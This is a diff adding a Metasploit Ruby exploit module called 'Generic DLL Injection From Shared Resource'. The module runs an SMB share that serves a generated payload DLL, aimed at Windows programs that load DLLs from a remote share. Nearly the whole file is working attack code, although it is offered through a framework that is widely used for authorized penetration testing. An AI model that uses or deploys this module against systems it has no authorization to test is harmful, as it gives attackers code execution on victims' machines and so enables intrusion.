|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ManualRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::SMB::Server::Share |
| 12 | + include Msf::Exploit::EXE |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Generic DLL Injection From Shared Resource', |
| 17 | + 'Description' => %q{ |
| 18 | + This is a general-purpose module for exploiting conditions where a DLL can be loaded |
| 19 | + from an specified SMB share. This module serves payloads as DLLs over an SMB service. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Matthew Hall <hallm[at]sec-1.com>' |
| 24 | + ], |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + ['CWE', '114'] |
| 28 | + ], |
| 29 | + 'DefaultOptions' => |
| 30 | + { |
| 31 | + 'EXITFUNC' => 'thread', |
| 32 | + }, |
| 33 | + 'Privileged' => false, |
| 34 | + 'Platform' => 'win', |
| 35 | + 'Arch' => [ARCH_X86, ARCH_X86_64], |
| 36 | + 'Payload' => |
| 37 | + { |
| 38 | + 'Space' => 2048, |
| 39 | + 'DisableNops' => true |
| 40 | + }, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], |
| 44 | + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] |
| 45 | + ], |
| 46 | + 'DefaultTarget' => 0, |
| 47 | + 'DisclosureDate' => 'Mar 04 2015' |
| 48 | + )) |
| 49 | + |
| 50 | + register_options( |
| 51 | + [ |
| 52 | + OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)']) |
| 53 | + ], self.class) |
| 54 | + |
| 55 | + deregister_options('FILE_CONTENTS') |
| 56 | + end |
| 57 | + |
| 58 | + def setup |
| 59 | + super |
| 60 | + |
| 61 | + self.file_contents = generate_payload_dll |
| 62 | + self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll" |
| 63 | + print_status("File available on #{unc}...") |
| 64 | + end |
| 65 | + |
| 66 | +end |
0 commit comments